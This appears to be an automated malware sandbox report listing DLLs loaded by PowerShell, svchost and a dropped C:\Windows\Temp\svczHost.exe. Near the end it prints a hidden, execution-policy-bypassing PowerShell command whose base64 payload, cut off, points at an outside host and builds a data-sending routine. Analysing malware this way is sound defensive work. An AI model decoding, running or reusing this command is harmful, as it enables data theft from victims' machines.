Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: apphelp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: icu.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winhttp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: mswsock.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: wshunix.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winrnr.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: nlaapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: wshbth.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: devobj.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: napinsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: n.pdb_X source: powershell.exe, 0000000B.00000002.3064844354.000001DAF1C25000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: on.pdb- source: powershell.exe, 00000006.00000002.1709711831.00000274611A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: l\System.pdbdb source: powershell.exe, 0000000B.00000002.3064844354.000001DAF1C25000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft Unified Security Protocol Provideron.pdbrX source: powershell.exe, 0000000B.00000002.3064844354.000001DAF1C25000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String("YVc1bklDMWxjU0FrWm1Gc2MyVXBJSHNOQ2lBZ0lDQlZVa1JKUkZSUFVFWkpJQ0pPYjNRZ1VuVnVibWx1WnlCSmJpQjBhR2x6SUdWdWRtbHliMjFsYm5RaURRb2dJQ0FnWlhocGREc05DbjBOQ2cwS1puVnVZM1JwYjI0Z1EyOXVkbVZ5ZEMxR2

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGkAbgBnAHMAbQBhAGsAZQByAC4AYwBhAC8AZgBpAGwAZQAyAC8AOQBhAGUAYQA4AGIAZgA4ADMAMwBjADgANwA3ADAAOQA1ADkAZABiADcAYwA3ADIAOABmADQAYwBjAGQAYwBmAGMAOABmADQAZQA5ADMAMABhAGYANABkAGQANAA0AGUANgA1ADIAMQAzAGIAOQBiADQAYQA0ADcAOABlADUAZgA4ADYAZABjADEAMQA5AGEAMAA4ADEAMAAxADkANABhADkAMAA4ADcANAA0ADAAYgA3ADkAMAAzADgAMgBlAGIANwAxADEANQBhADkAZAA2AGEAMwAzAGIAYwAwADIAMAAyADgAZQA1ADUANgA3ADgAYQBiAGUAMAAyAGEAZAA0ADUAZAA0ADgAZQA5AGEAZgBhADkAMwBhAGYAOAAzADcANQAzADEAZQAzADUAYgAxAGMAOAA4AGUANgBiAGYAYwBhAGYAYQAyADcAZAA4ADIAZQBlADIANAA0ADIAMAAzAGIAOAA2AGEANgA1ADAAYQBjAGYAMwAzADQANgAwADYANwA2AGUAMQA5AGUANABkADUAMABjAGMAYgBmADcAYgA3ADkANQA1ADcANQBiADQAOAAxAGUAYwA0AGQANAAzACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIA